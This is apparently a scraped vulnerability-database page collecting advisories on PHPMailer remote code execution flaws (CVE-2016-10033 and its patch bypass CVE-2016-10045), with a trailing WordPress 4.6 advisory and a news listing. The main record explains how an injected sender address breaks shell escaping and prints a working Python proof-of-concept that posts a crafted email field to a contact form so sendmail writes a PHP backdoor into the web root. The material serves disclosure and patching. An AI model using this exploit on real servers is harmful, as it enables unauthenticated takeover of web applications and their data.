https://legalhackers.com https://ExploitBox.io XI. REVISION HISTORY ------------------------- 03.05.2017 - Advisory released, rev. 1 XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
    idSSV:93077
    last seen2017-11-19
    modified2017-05-04
    published2017-05-04
    reporterRoot
    titleWordPress Core 4.6 - Unauthenticated Remote Code Execution
  • bulletinFamilyexploit
    description**The Chinese version of the analysis: http://paper.seebug.org/164/** ## BACKGROUND "PHPMailer continues to be the world's most popular transport class, with an estimated 9 million users worldwide. Downloads continue at a significant pace daily." http://phpmailer.worxware.com/ "Probably the world's most popular code for sending email from PHP! Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more" https://github.com/PHPMailer/PHPMailer ## INTRODUCTION An independent research uncovered a critical vulnerability in PHPMailer that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. To exploit the vulnerability an attacker could target the common website components such as contact/feedback forms, registration forms, password email resets and others that send out emails with the help of a vulnerable version of the PHPMailer class. The first patch of the vulnerability CVE-2016-10033 was incomplete. This advisory demonstrates the bypass of the patch. The bypass allows to carry out Remote Code Execution on all current versions (including 5.2.19). NOTE: The vulnerability / patch bypass was responsibly reported to the vendor in private on December 26th and a new CVE was issued by MITRE on the same day. However, a potential bypass was publicly discussed on the oss-sec list. Holding the advisory further would serve no purpose which is what triggered the earlier release of this advisory. ## DESCRIPTION The patch for CVE-2016-10033 vulnerability added in PHPMailer 5.2.17 sanitizes the $Sender variable by applying escapeshellarg() for escaping before the value is passed to mail() function. It does not however take into account the clashing of the escapeshellarg() function with internal escaping with escapeshellcmd() performed by the mail() function on the 5th parameter. As a result it is possible to inject an extra quote that does not get properly escaped and break out of the escapeshellarg() protection applied by the patch in PHPMailer 5.2.17. For example: `` $mail-&gt;SetFrom("\"Attacker\' -Param2-Param3\"@test.com", 'Client Name'); will result in the followig list of arguments passed to the sendmail program: The Arg no. 0 == [/usr/sbin/sendmail] The Arg no. 1 == [-t] The Arg no. 2 == [-i] The Arg no. 3 == [-f\"Attacker\\] The Arg no. 4 == [-Param2] The Arg no. 5 == [-Param3"@test.com'] `` An attacker could pass the-X parameter of sendmail to write out a log file with arbitrary PHP code. This makes the current latest 5.2.19 and 5.2.18 versions of PHPMailer vulnerable to Remote Code Execution despite the patch. A working PoC is presented below. ## PROOF OF CONCEPT EXPLOIT `` # !/ usr/bin/python # PHPMailer_RCE_exploit.pl intro = """ PHPMailer RCE PoC Exploits PHPMailer &lt; 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) \+ PHPMailer &lt; 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) (the bypass of the first patch for CVE-2016-10033) Discovered and Coded by: Dawid Golunski @dawid_golunski https://legalhackers.com """ usage = """ Usage: Full Advisory: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.txt PoC Video: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html Disclaimer: For testing purposes only. Do no harm. """ import time import urllib import urllib2 import socket import sys RW_DIR = "/var/www/html/uploads" url = 'http://VictimWebServer/contact_form.php' # Set the destination URL here # Choose/uncomment one of the payloads: # PHPMailer &lt; 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033) # payload = '"attacker\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR # Bypass / PHPMailer &lt; 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045) payload = "\"attacker\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR ###### # PHP code to be saved into the backdoor php file on the target in RW_DIR RCE_PHP_CODE = "&lt;? php phpinfo(); ?&gt;" post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE} # Attack data = urllib. urlencode(post_fields) req = urllib2. Request(url, data) response = urllib2. urlopen(req) the_page = response. read() `` The researcher also developed an Unauthenticated RCE exploit for a popular open-source application (deployed on the Internet on more than a million servers) as a PoC for real-world exploitation. It might be published after the vendor has fixed the vulnerabilities. #### Video PoC: https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html ## BUSINESS IMPACT A successful exploitation could let remote attackers to gain access to the target server in the context of the web server account which could lead to a full compromise of the web application. ## SYSTEMS AFFECTED All current versions of (PHPMailer &lt;5.2.20) are affected. Note that exploitation is not limited to systems with the Sendmail MTA.
    idSSV:92591
    last seen2017-11-19
    modified2016-12-29
    published2016-12-29
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-92591
    titlePHPMailer < 5.2.20 Remote Code Execution (0day Patch Bypass/exploit) (CVE-2016-10045)

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idTHN:BD003AAB715C2448BF92B78197DE160C
last seen2018-01-27
modified2017-01-05
published2017-01-02
reporterSwati Khandelwal
sourcehttps://thehackernews.com/2017/01/phpmailer-swiftmailer-zendmail.html
titleCritical Updates — RCE Flaws Found in SwiftMailer, PhpMailer and ZendMail

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